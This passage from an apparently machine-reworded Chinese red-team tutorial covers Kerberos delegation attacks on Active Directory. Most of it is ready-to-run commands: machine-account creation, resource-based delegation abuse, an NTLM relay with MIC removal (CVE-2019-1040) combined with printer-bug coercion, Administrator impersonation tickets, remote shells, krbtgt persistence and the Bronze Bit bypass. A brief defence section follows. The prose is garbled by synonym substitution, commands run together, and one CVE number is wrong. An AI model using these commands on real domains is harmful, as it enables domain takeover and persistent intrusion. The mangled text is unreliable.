# 利用bloodyAD.py创建机器账户python3 bloodyAD.py -d redteam.lab -u mark -p '123.com' --host 10.10.2.20 addComputer CPT02 'Passw0rd'3 设置委派属性

剩下部分基本上和思路1类似,如果利用ken用户则会报谢绝访问,利用mark用户则可以修正委派属性

# 利用PowerView工具查询机器账户SIDpowerpick Get-NetComputer CPT02 -Properties objectsidS-1-5-21-3309395417-4108617856-2168433834-1112# 修正做事资源msDS-AllowedToActOnBehalfOfOtherIdentity属性powerpick $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3309395417-4108617856-2168433834-1112)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer WIN7-1 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose# 查询属性(后一条命令利用到了ActiveDirectory模块,域控默认带)powerpick Get-DomainComputer WIN7-1 -Properties msds-allowedtoactonbehalfofotheridentity# 创建做事票据python3 getST.py redteam.lab/CPT02$:Passw0rd -spn cifs/WIN7-1.redteam.lab -impersonate administrator -dc-ip 10.10.2.20# 导入票据export KRB5CCNAME=/root/Desktop/administrator.ccache# 直接登录python3 wmiexec.py -k redteam.lab/administrator@WIN7-1.redteam.lab -no-passpython3 psexec.py -k redteam.lab/administrator@WIN7-1.redteam.lab -no-pass攻击思路3:结合HTLM Relay攻击拿下主机(CVE-2019-1040)

权限提升 | 横向移动

绕过NTLM MIC校验+打印机漏洞+NTLM Relay+基于资源的约束性委派组合攻击

利用条件:

能创建机器账户目标开启打印机做事1 创建机器账户

python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT03 'Passw0rd'2 监听认证要求

利用ntlmrelayx工具

# 进行监听python3 ntlmrelayx.py -t ldap://10.10.2.20 -smb2support --remove-mic --delegate-access --escalate-user CPT03\$3 打印机漏洞实行逼迫认证

利用printerbug工具实行逼迫认证

# 利用打印机漏洞回连python3 printerbug.py redteam.lab/ken:123.com@10.10.2.50 10.10.2.77

ntlmrelayx上监听到认证数据

4 申请做事票据

利用getST.py申请做事票据

# 制作做事票据python3 getST.py redteam.lab/CPT03\$:Passw0rd -spn CIFS/SERVER2012.redteam.lab -impersonate Administrator -dc-ip 10.10.2.205 利用做事票据

# 注入票据export KRB5CCNAME=Administrator.ccache# 远程访问python3 smbexec.py -target-ip 10.10.2.50 -k SERVER2012.redteam.lab -no-pass

攻击思路4:krbtgt用户的委派

权限坚持

在获取到域控权限后,可以对krbtgt用户设置委派属性,以实现坚持权限的目的,类似与一个变种的黄金票据

利用条件:

获取域控权限

设置委派属性

# 创建机器账户python3 bloodyAD.py -d redteam.lab -u ken -p '123.com' --host 10.10.2.20 addComputer CPT04 'Passw0rd'# 设置krbtgt委派权限 | 查询Set-ADUser krbtgt -PrincipalsAllowedToDelegateToAccount CPT04$Get-ADUser krbtgt -Properties PrincipalsAllowedToDelegateToAccount

申请&利用票据

python3 getST.py redteam.lab/CPT04\$:Passw0rd -spn krbtgt -impersonate Administrator -dc-ip 10.10.2.20export KRB5CCNAME=Administrator.ccachepython3 smbexec.py -k administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20KRB5CCNAME=Administrator.ccache | python3 smbexec.py -k administrator@DC2016.redteam.lab -no-pass -dc-ip 10.10.2.20

0x05 委派攻击戒备方法及绕过手段戒备方法对付高权限用户,设置为敏感用户,不能被委派若要设置委派,不设置非约束性委派而是设置约束性委派可以将敏感用户添加至Protected User组中,该组用户不许可被委派绕过事理

对域委派安全功能绕过紧张是通过Kerberos Bronze Bit攻击(CVE-2020-1704),由于做事可以解密自身的票据并且forwardable值不在PAC中,在利用时,forwardable值不受到检讨,进而实现绕过目的

详细剖析参考:CVE-2020-17049 Kerberos Bronze Bit攻击深入剖析

利用手段

在getST中加上-force-forwardable参数

python3 getST.py redteam.lab/CPT04\$:Passw0rd -spn krbtgt -impersonate Administrator -dc-ip 10.10.2.20 -force-forwardable

进一步的戒备方法

打上微软补丁程序,编号为KB4598347

利用做事密钥(PAC_SERVER_CHECKSUM)署名利用KDC密钥(PAC_PRIVSVR_CHECKSUM)署名在之后的S4U2Proxy阶段,KDC会验证PAC的三个署名,三个署名全都验证通过,KDC才会返回做事票据。
否则,KDC将返回KRB_AP_ERR_MODIFIED。
标签:

相关文章

php遍历子类技巧_PHP 面向对象

在现实天下里我们所面对的事情都是工具,如打算机、电视机、自行车等。工具的紧张三个特性:工具的行为:可以对 工具施加那些操作,开灯,...

SEO优化 2024-12-09 阅读0 评论0